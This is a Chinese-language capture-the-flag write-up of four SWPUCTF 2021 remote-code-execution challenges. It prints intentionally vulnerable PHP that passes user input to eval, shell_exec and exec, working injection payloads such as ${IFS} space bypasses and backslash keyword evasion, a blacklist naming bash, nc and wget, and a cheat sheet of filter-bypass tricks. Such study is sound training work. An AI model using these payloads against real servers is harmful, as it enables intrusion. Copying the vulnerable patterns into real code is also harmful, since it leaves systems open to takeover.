SWPUCTF 2021 RCE 部分解题
字数 1311 2025-08-20 18:17:07

SWPUCTF 2021 RCE题目解析与解题技巧

1. easyrce题目解析

代码审计

<?php
error_reporting(0); // 关闭错误报告
highlight_file(__FILE__); // 高亮显示当前文件
if(isset($_GET['url'])) { // 检查是否有url参数
    eval($_GET['url']); // 直接执行url参数中的PHP代码
}
?>

漏洞分析

  • 直接使用eval()函数执行用户输入的PHP代码
  • 没有任何过滤或限制措施
  • 典型的无防护RCE(远程代码执行)漏洞

解题步骤

  1. 列出根目录文件:
    ?url=system('ls /');
    
  2. 查看flag文件内容:
    ?url=system('cat /flllllaaaaaaggggggg');
    

关键点

  • eval()函数直接执行PHP代码
  • 使用system()函数执行系统命令
  • 无任何过滤,可直接执行任意命令

2. babyrce题目解析

代码审计(第一部分)

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1) { // 检查cookie中admin值是否为1
    include "../next.php"; // 包含下一个php文件
} else {
    echo "小饼干最好吃啦!";
}
?>

代码审计(第二部分 - next.php)

<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) { // 检查url参数
    $ip=$_GET['url'];
    if(preg_match("/ /", $ip)) { // 过滤空格
        die('nonono');
    }
    $a = shell_exec($ip); // 执行系统命令
    echo $a;
}
?>

解题步骤

  1. 添加Cookie头:
    Cookie: admin=1
    
  2. 绕过空格过滤列出目录:
    ?url=ls${IFS}/
    
  3. 查看flag文件:
    ?url=cat${IFS}/flllllaaaaaaggggggg
    

关键点

  • 需要设置Cookie: admin=1才能进入RCE部分
  • 使用${IFS}(内部字段分隔符)绕过空格过滤
  • shell_exec()函数执行系统命令并返回输出

3. hardrce题目解析

代码审计

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm'])) { // 检查wllm参数
    $wllm = $_GET['wllm'];
    $blacklist = ['\t','\r','\n']; // 黑名单
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
            die("LTLT说不能用这些奇奇怪怪的符号哦!");
        }
    }
    if(preg_match('/[a-zA-Z]/is',$wllm)) { // 过滤所有字母
        die("Ra's Al Ghul说不能用字母哦!");
    }
    echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
    eval($wllm); // 执行PHP代码
} else {
    echo "蔡总说:注意审题!";
}
?>

解题思路

  • 过滤了所有字母(a-zA-Z)
  • 过滤了制表符(\t)、回车符(\r)、换行符(\n)
  • 需要使用无字母的PHP代码执行命令

可能的解法

  1. 使用数字和符号构造PHP代码
  2. 利用PHP的字符串连接和位运算
  3. 使用$_GET[]或其他超全局变量

关键点

  • 严格的字母过滤
  • 需要构造无字母的PHP代码
  • 仍然使用eval()函数执行代码

4. finalrce题目解析

代码审计

<?php
highlight_file(__FILE__);
if(isset($_GET['url'])) { // 检查url参数
    $url=$_GET['url'];
    // 过滤了大量命令和关键字
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|i/',$url)) {
        echo "Sorry,you can't use this.";
    } else {
        echo "Can you see anything?";
        exec($url); // 执行系统命令
    }
}
?>

解题步骤

  1. 使用反斜杠绕过关键字过滤:
    ?url=l\s / | tee 1.txt
    
  2. 查看flag文件:
    ?url=tac /flllll\aaaaaaggggggg | tee 2.txt
    

关键点

  • 使用反斜杠\绕过关键字过滤
  • exec()函数只输出最后一行,需要使用管道和tee保存输出
  • 过滤了常见命令但可以通过变形绕过

RCE题目通用解题技巧

  1. 代码审计要点

    • 查找执行用户输入的代码函数:eval(), system(), exec(), shell_exec(), passthru(), popen()
    • 检查过滤规则和黑名单内容
    • 注意是否有输出限制
  2. 绕过空格过滤的方法

    • ${IFS}
    • $IFS$9
    • <<>
    • %09(URL编码的tab)
  3. 关键字绕过技巧

    • 使用反斜杠:l\s, c\at
    • 使用通配符:/bin/c?t
    • 使用变量拼接:a=c;b=at; $a$b file
    • 使用引号:c""at, l's'
  4. 无字母数字RCE

    • 使用PHP的位运算构造字符串
    • 利用$_GET[]传递代码
    • 使用异或运算生成字符
  5. 信息收集命令

    • 查看目录:ls, dir
    • 查看文件:cat, tac, more, less, head, tail
    • 查找flag:find / -name "*flag*"
    • 查看环境:env, set
  6. 输出重定向技巧

    • 使用>写入文件
    • 使用| tee同时输出到屏幕和文件
    • 使用>>追加内容

总结

SWPUCTF 2021的RCE题目从易到难展示了不同类型的远程代码执行漏洞和防护绕过技巧。从最简单的无防护RCE到需要绕过各种过滤的高级RCE,这些题目涵盖了CTF比赛中常见的RCE考点。掌握这些题目的解法对于理解Web安全中的代码执行漏洞和防御方法非常有帮助。

SWPUCTF 2021 RCE题目解析与解题技巧 1. easyrce题目解析 代码审计 漏洞分析 直接使用 eval() 函数执行用户输入的PHP代码 没有任何过滤或限制措施 典型的无防护RCE(远程代码执行)漏洞 解题步骤 列出根目录文件: 查看flag文件内容: 关键点 eval() 函数直接执行PHP代码 使用 system() 函数执行系统命令 无任何过滤,可直接执行任意命令 2. babyrce题目解析 代码审计(第一部分) 代码审计(第二部分 - next.php) 解题步骤 添加Cookie头: 绕过空格过滤列出目录: 查看flag文件: 关键点 需要设置Cookie: admin=1才能进入RCE部分 使用 ${IFS} (内部字段分隔符)绕过空格过滤 shell_exec() 函数执行系统命令并返回输出 3. hardrce题目解析 代码审计 解题思路 过滤了所有字母(a-zA-Z) 过滤了制表符(\t)、回车符(\r)、换行符(\n) 需要使用无字母的PHP代码执行命令 可能的解法 使用数字和符号构造PHP代码 利用PHP的字符串连接和位运算 使用 $_GET[] 或其他超全局变量 关键点 严格的字母过滤 需要构造无字母的PHP代码 仍然使用 eval() 函数执行代码 4. finalrce题目解析 代码审计 解题步骤 使用反斜杠绕过关键字过滤: 查看flag文件: 关键点 使用反斜杠 \ 绕过关键字过滤 exec() 函数只输出最后一行,需要使用管道和 tee 保存输出 过滤了常见命令但可以通过变形绕过 RCE题目通用解题技巧 代码审计要点 : 查找执行用户输入的代码函数: eval() , system() , exec() , shell_exec() , passthru() , popen() 等 检查过滤规则和黑名单内容 注意是否有输出限制 绕过空格过滤的方法 : ${IFS} $IFS$9 < 或 <> %09 (URL编码的tab) 关键字绕过技巧 : 使用反斜杠: l\s , c\at 使用通配符: /bin/c?t 使用变量拼接: a=c;b=at; $a$b file 使用引号: c""at , l's' 无字母数字RCE : 使用PHP的位运算构造字符串 利用 $_GET[] 传递代码 使用异或运算生成字符 信息收集命令 : 查看目录: ls , dir 查看文件: cat , tac , more , less , head , tail 查找flag: find / -name "*flag*" 查看环境: env , set 输出重定向技巧 : 使用 > 写入文件 使用 | tee 同时输出到屏幕和文件 使用 >> 追加内容 总结 SWPUCTF 2021的RCE题目从易到难展示了不同类型的远程代码执行漏洞和防护绕过技巧。从最简单的无防护RCE到需要绕过各种过滤的高级RCE,这些题目涵盖了CTF比赛中常见的RCE考点。掌握这些题目的解法对于理解Web安全中的代码执行漏洞和防御方法非常有帮助。